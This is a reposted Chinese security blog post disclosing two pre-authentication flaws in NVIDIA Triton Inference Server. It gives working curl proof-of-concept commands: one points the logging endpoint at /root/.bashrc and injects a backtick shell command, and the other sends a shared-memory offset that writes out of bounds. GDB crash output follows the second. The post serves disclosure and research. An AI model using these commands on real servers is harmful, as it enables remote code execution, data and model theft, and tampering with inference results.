NVIDIA Triton 服务器上的预认证 RCE

admin 2024年7月31日13:36:18评论16 views字数 7074阅读23分34秒阅读模式

NVIDIA Triton 服务器上的预认证 RCE

背景

Triton 推理服务器(https://github.com/triton-inference-server/)是 NVIDIA 发布的一款开源软件,是 NVIDIA AI 平台的重要组成部分。该服务器可以标准化各种工作负载的 AI 模型的部署和执行,为用户提供快速且可扩展的 AI 服务。作为全球主流的 AI 推理服务器,Triton 被全球众多人工智能厂商广泛使用。

最近,我们发现并报告了 NVIDIA Triton Server 上的两个漏洞:

  • CVE-2024-0087:通过 Triton Server 的日志配置接口进行任意文件写入,导致远程代码执行。

  • CVE-2024-0088 :Triton Server 的共享内存处理中参数验证不足导致任意地址写入。

CVE- 2024-0087

日志文件配置接口` /v2/logging `接受` log_file `参数,允许设置要写入的日志文件的绝对路径。

这有利于任意文件创建、写入或附加。攻击者可以通过写入诸如` /root/.bashrc ` 、` /etc/environment `之类的文件来利用此漏洞,或者通过将恶意 shell 脚本注入任何与用户模型业务相关的脚本文件来利用此漏洞,这些脚本随后将在 Triton 服务器上执行。攻击者可以在写入包含恶意命令的脚本后等待其执行。

POC:

# 启动Triton服务器服务,并等待在端口8000上准备就绪。...# 指定要追加或覆盖的文件,例如 /root/.bashrccurl http://127.0.0.1:8000/v2/logging -X POST -d '{"log_file":"/root/.bashrc","log_info":true,"log_warning":true,"log_error":true,"log_verbose_level":1,"log_format":"default"}' -v# 通过日志访问写入攻击命令curl 'http://127.0.0.1:8000/cmd/`id>/root/cmd_result`' -v# 模拟执行包含攻击命令的脚本bash# 确认注入命令的执行tail /root/.bashrcls -l /root/cmd_result && cat /root/cmd_result

CVE-2024-0088

Triton服务器可能通过Kubernetes部署。为了在同一台机器上的不同Docker容器之间加速客户端和服务器之间的参数传递过程,它允许客户端注册共享内存,并指定输入参数和输出结果的共享内存地址,使用 shared_memory_offset 和 shared_memory_byte_size 参数。有关更多详细信息,请参阅文档这里。这些参数的验证不足可能导致通过输出结果进程进行任意地址写入。在某些场景下,根据推理模型的输出和输出参数的类型,这也可能导致内存数据泄露。

POC

启动Triton服务器,并等待端口8000上的服务准备就绪。按照文档中的快速部署步骤,设置一个Python后端模型(以add_sub模型为例)。

# 请求共享内存注册接口。curl http://127.0.0.1:8000/v2/systemsharedmemory/region/sec_test/register -X POST -d '{"key":"triton_python_backend_shm_region_2", "offset":0, "byte_size":67108864}'# 请求推理,设置要写入的地址偏移量。为了演示导致程序崩溃的效果,将偏移量设置为18446744073709551584,即int64_t中的-0x20。在这个偏移量上,输出地址计算结果为非法地址,通常是共享内存开始前32字节。这预计会导致段错误(SIGSEGV)。curl http://127.0.0.1:8000/v2/models/add_sub/infer -X POST -d '{"id":"1","inputs":[{"name":"INPUT0","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}},{"name":"INPUT1","shape":[4],"datatype":"FP32","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":0,"shared_memory_byte_size":64}}],"outputs":[{"name":"OUTPUT0","parameters":{"shared_memory_region":"sec_test","shared_memory_offset":18446744073709551584,"shared_memory_byte_size":64}},{"name":"OUTPUT1","parameters":{"binary_data":true}}]}'

检查程序的命令行和GDB的异常信息,确认写入的地址位于共享内存起始处-0x20的位置。

Signal (11) received. 0# 0x0000555555692959 in tritonserver 1# 0x00007FFFF648D090 in /lib/x86_64-linux-gnu/libc.so.6 2# 0x00007FFFF65D598C in /lib/x86_64-linux-gnu/libc.so.6 3# 0x00007FFFD519471B in /opt/tritonserver/backends/python/libtriton_python.so 4# 0x00007FFFD517A430 in /opt/tritonserver/backends/python/libtriton_python.so 5# 0x00007FFFD514259D in /opt/tritonserver/backends/python/libtriton_python.so 6# TRITONBACKEND_ModelInstanceExecute in /opt/tritonserver/backends/python/libtriton_python.so 7# 0x00007FFFF6E25054 in /opt/tritonserver/bin/../lib/libtritonserver.so 8# 0x00007FFFF6E25347 in /opt/tritonserver/bin/../lib/libtritonserver.so 9# 0x00007FFFF6F192A1 in /opt/tritonserver/bin/../lib/libtritonserver.so10# 0x00007FFFF6E24327 in /opt/tritonserver/bin/../lib/libtritonserver.so11# 0x00007FFFF687EDE4 in /lib/x86_64-linux-gnu/libstdc++.so.612# 0x00007FFFF6992609 in /lib/x86_64-linux-gnu/libpthread.so.013# clone in /lib/x86_64-linux-gnu/libc.so.6

# 使用GDB检查进程时,发现进程在访问地址0x7ffefbffffe0时触发了SIGSEGV(分段错误)。经确认,这对应于共享内存地址0x7ffefc000000减去0x20得到的位置。

gef➤  i proc mappings | grep shmToo many parameters: | grep shmgef➤  shell cat /proc/`pidof tritonserver`/maps | grep shm7ffefc000000-7fff00000000 rw-s 00000000 00:2e 13971966                   /dev/shm/triton_python_backend_shm_region_27fffca53f000-7fffce53f000 rw-s 00000000 00:2e 13971966                   /dev/shm/triton_python_backend_shm_region_2gef➤  bt 20#0  __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:306#1  0x00007fffd519471b in triton::backend::CopyBuffer(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, TRITONSERVER_memorytype_enum, long, TRITONSERVER_memorytype_enum, long, unsigned long, void const*, void*, CUstream_st*, bool*, bool) () from /opt/tritonserver/backends/python/libtriton_python.so#2  0x00007fffd517a430 in triton::backend::python::InferResponse::Send(TRITONBACKEND_ResponseFactory*, void*, bool&, unsigned int, std::unique_ptr<triton::backend::python::SharedMemoryManager, std::default_delete<triton::backend::python::SharedMemoryManager> >&, std::vector<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*>, std::allocator<std::pair<std::unique_ptr<triton::backend::python::PbMemory, std::default_delete<triton::backend::python::PbMemory> >, void*> > >&, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&, TRITONBACKEND_Response*) () from /opt/tritonserver/backends/python/libtriton_python.so#3  0x00007fffd514259d in triton::backend::python::ModelInstanceState::ProcessRequests(TRITONBACKEND_Request**, unsigned int, bool&) () from /opt/tritonserver/backends/python/libtriton_python.so#4  0x00007fffd514352a in TRITONBACKEND_ModelInstanceExecute () from /opt/tritonserver/backends/python/libtriton_python.so#5  0x00007ffff6e25054 in triton::core::TritonModelInstance::Execute(std::vector<TRITONBACKEND_Request*, std::allocator<TRITONBACKEND_Request*> >&) () from /opt/tritonserver/bin/../lib/libtritonserver.so#6  0x00007ffff6e25347 in triton::core::TritonModelInstance::Schedule(std::vector<std::unique_ptr<triton::core::InferenceRequest, std::default_delete<triton::core::Inference

请求> > > && , std ::函数< void ()> const & ) () 从 / opt / tritonserver / bin / . ./lib/libtritonserver .所以

#7  0x00007ffff6f192a1 in triton::core::Payload::Execute(bool*) () from /opt/tritonserver/bin/../lib/libtritonserver.so#8  0x00007ffff6e24327 in triton::core::TritonModelInstance::TritonBackendThread::BackendThread(int, int) () from /opt/tritonserver/bin/../lib/libtritonserver.so#9  0x00007ffff687ede4 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6#10  0x00007ffff6992609 in start_thread (arg=<optimized out>) at pthread_create.c:477#11  0x00007ffff6569353 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95gef➤  x/i $rip=> 0x7ffff65d598c <__memmove_avx_unaligned_erms+124>:   vmovdqu XMMWORD PTR [rdi],xmm0gef➤  i r rdirdi            0x7ffefbffffe0      0x7ffefbffffe0gef➤  p 0x7ffefc000000-0x20$1 = 0x7ffefbffffe0gef➤```

有趣的一点是,共享内存“ triton_python_backend_shm_region_2 ”映射的内存地址与“ libz ”库相邻。

影响与思考

人工智能的应用越来越广泛,渗透到人们工作生活的方方面面。随之而来的是人工智能的安全问题。我们每天使用的人工智能助手是否值得信赖?企业核心业务所依赖的人工智能服务器是否安全?人工智能的安全已经成为一个复杂而多面的问题。

NVIDIA AI 平台的应用程序和功能得到了 Triton 推理服务器的广泛支持,这凸显了该服务器在 AI 运行基础设施中的关键作用。如果本博客中的漏洞被恶意攻击者利用,使用 Triton 服务器的公司和制造商可能会面临完全控制其基于云的 AI 模型的风险。未经授权的攻击者可能会窃取敏感的用户数据、执行恶意代码、更改 AI 模型计算结果,甚至窃取 AI 模型,对用户隐私造成灾难性风险,并对企业利益和品牌声誉造成毁灭性损失。

例如,若自动驾驶汽车厂商使用Triton Inference Server提供自动驾驶AI服务,利用此漏洞可能导致误判,危及乘客和行人的安全;若AI服务提供商使用Triton Inference Server部署AI模型,利用此漏洞的入侵可能导致模型计算结果被篡改,甚至直接窃取AI模型,造成知识产权泄露或声誉受损。

对于使用人工智能的客户,作为“人工智能助手”可能会背叛你,让你的所有隐私和数据面临风险。如果你使用的对话式人工智能助手被利用此漏洞的黑客控制,你的所有对话内容、日常习惯和私人信息都可能被暴露。黑客可能会泄露和出售你的个人信息,或利用它进行欺诈、盗窃财产或从事其他非法活动。

人工智能技术的快速发展确实带来了巨大的变化和便利,但目前人工智能安全状况仍然脆弱,我们呼吁业界对人工智能安全给予更多关注。

致谢

Lawliet & 知娘区 (@edwardzpeng)

https://sites.google.com/site/zhiniangpeng/blogs/Triton-RCE

原文始发于微信公众号(Ots安全):NVIDIA Triton 服务器上的预认证 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日13:36:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NVIDIA Triton 服务器上的预认证 RCEhttps://cn-sec.com/archives/3018056.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息